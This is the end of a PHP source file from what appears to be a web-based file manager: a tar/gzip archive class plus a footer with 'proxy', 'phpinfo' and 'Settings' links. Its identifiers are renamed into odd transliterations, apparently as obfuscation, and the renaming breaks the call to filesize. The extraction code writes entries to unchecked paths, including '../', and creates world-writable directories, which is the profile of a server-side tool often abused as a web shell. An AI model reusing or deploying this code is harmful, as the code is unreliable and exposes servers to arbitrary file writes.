rename($this->namaraksam.'.tmp', $this->namaraksam); return false; } if (!$this->borikhian()){ rename($this->namaraksam.'.tmp', $this->namaraksam); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->pranidchuea($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->namaraksam.'.tmp'); } else { $this->failchuangkhrao = fopen($this->namaraksam, 'r+b'); if (!$this->failchuangkhrao) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result_config = $this->phabhuanfail($file_list); } else $this->khwamphidphlad[] = __('No file').__(' to ').__('Archive'); if (($result_config)&&(is_resource($this->failchuangkhrao))){ $binaryData = pack('a512', ''); $this->pranidchuea($binaryData); } $this->pitfailchuang(); if ($newArchive && !$result_config){ $this->pitfailchuang(); unlink($this->namaraksam); } return $result_config; } function kanthonganfail($path){ $fileName = $this->namaraksam; if (!$this->bangchumphak){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->bangchumphak = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->bangchumphak = true; } $result_config = true; if ($this->bangchumphak) $this->failchuangkhrao = gzopen($fileName, 'rb'); else $this->failchuangkhrao = fopen($fileName, 'rb'); if (!$this->failchuangkhrao){ $this->khwamphidphlad[] = $fileName.' '.__('is not readable'); return false; } $result_config = $this->unphabhuanfail($path); $this->pitfailchuang(); return $result_config; } function phunphiphit ($message = '') { $Errors = $this->khwamphidphlad; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function phabhuanfail($file_array){ $result_config = true; if (!$this->failchuangkhrao){ $this->khwamphidphlad[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->namaraksam) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->khwamphidphlad[] = __('No file').' '.$filename; continue; } if (!$this->failchuangkhrao){ $this->khwamphidphlad[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->khwamphidphlad[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->phaikhontang($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->khwamphidphlad[] = __('Mode ').__('is incorrect'); } if(($this->phuntarafail == 0)){ if(!$this->pranidphawkhuak($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->pranidchuea($binaryData); } fclose($file); } else $this->pranidphawkhuak($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->khwamphidphlad[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result_config = $this->phabhuanfail($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result_config; } function unphabhuanfail($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->khaisarn()) != 0){ if (!$this->khaishirakhun($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->khaisarn(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->khaisarn(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->khaisarn(); if (!$this->khaishirakhun($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->khwamphidphlad[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->khwamphidphlad[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->khwamphidphlad[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->jatsibthang(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->khwamphidphlad[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->khwamphidphlad[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->khwamphidphlad[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->khaisarn(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->khaisarn(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (khumfailize($header['filename']) != $header['size']) { $this->khwamphidphlad[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->khumfail[] = $header['filename']; } return true; } function jatsibthang($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->jatsibthang($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->khwamphidphlad[] = __('Cannot create directory').' '.$dir; return false; } return true; } function khaishirakhun($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $sumphanrunyai = 0; for ($i = 0; $i < 148; $i++) $sumphanrunyai+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $sumphanrunyai += ord(' '); for ($i = 156; $i < 512; $i++) $sumphanrunyai+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8batsanchon/a8group_id/a12size/a12time/a8sumphanrunyai/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['sumphanrunyai'] = OctDec(trim($unpack_data['sumphanrunyai'])); if ($header['sumphanrunyai'] != $sumphanrunyai){ $header['filename'] = ''; if (($sumphanrunyai == 256) && ($header['sumphanrunyai'] == 0)) return true; $this->khwamphidphlad[] = __('Error sumphanrunyai for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['batsanchon'] = OctDec(trim($unpack_data['batsanchon'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function pranidphawkhuak($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->phaikhontang($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the sumphanrunyai $sumphanrunyai = 0; // First part of the header for ($i = 0; $i < 148; $i++) $sumphanrunyai += ord(substr($dataFirst, $i, 1)); // Ignore the sumphanrunyai value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $sumphanrunyai += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $sumphanrunyai += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->pranidchuea($dataFirst, 148); // Write the calculated sumphanrunyai $sumphanrunyai = sprintf('%6s ', DecOct($sumphanrunyai)); $binaryData = pack('a8', $sumphanrunyai); $this->pranidchuea($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->pranidchuea($dataLast, 356); $failchuangkhraoname = $this->phaikhontang($filename_ready); $i = 0; while (($buffer = substr($failchuangkhraoname, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->pranidchuea($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(khumfailize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $sumphanrunyai = 0; for ($i = 0; $i < 148; $i++) $sumphanrunyai += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $sumphanrunyai += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $sumphanrunyai += ord(substr($dataLast, $j, 1)); $this->pranidchuea($dataFirst, 148); $sumphanrunyai = sprintf('%6s ', DecOct($sumphanrunyai)); $binaryData = pack('a8', $sumphanrunyai); $this->pranidchuea($binaryData, 8); $this->pranidchuea($dataLast, 356); return true; } function borikhian(){ if ($this->bangchumphak) $this->failchuangkhrao = gzopen($this->namaraksam, 'wb9f'); else $this->failchuangkhrao = fopen($this->namaraksam, 'wb'); if (!($this->failchuangkhrao)){ $this->khwamphidphlad[] = __('Cannot write to file').' '.$this->namaraksam; return false; } return true; } function khaisarn(){ if (is_resource($this->failchuangkhrao)){ if ($this->bangchumphak) $block_this = gzread($this->failchuangkhrao, 512); else $block_this = fread($this->failchuangkhrao, 512); } else $block_this = ''; return $block_this; } function pranidchuea($data, $length = 0){ if (is_resource($this->failchuangkhrao)){ if ($length === 0){ if ($this->bangchumphak) gzputs($this->failchuangkhrao, $data); else fputs($this->failchuangkhrao, $data); } else { if ($this->bangchumphak) gzputs($this->failchuangkhrao, $data, $length); else fputs($this->failchuangkhrao, $data, $length); } } } function pitfailchuang(){ if (is_resource($this->failchuangkhrao)){ if ($this->bangchumphak) gzclose($this->failchuangkhrao); else fclose($this->failchuangkhrao); $this->failchuangkhrao = 0; } } function phaikhontang($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result_config = $partPath[$i].($i!=$els ? '/'.$result_config : ''); } } else $result_config = ''; return $result_config; } } ?>
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.41 |
proxy
|
phpinfo
|
Settings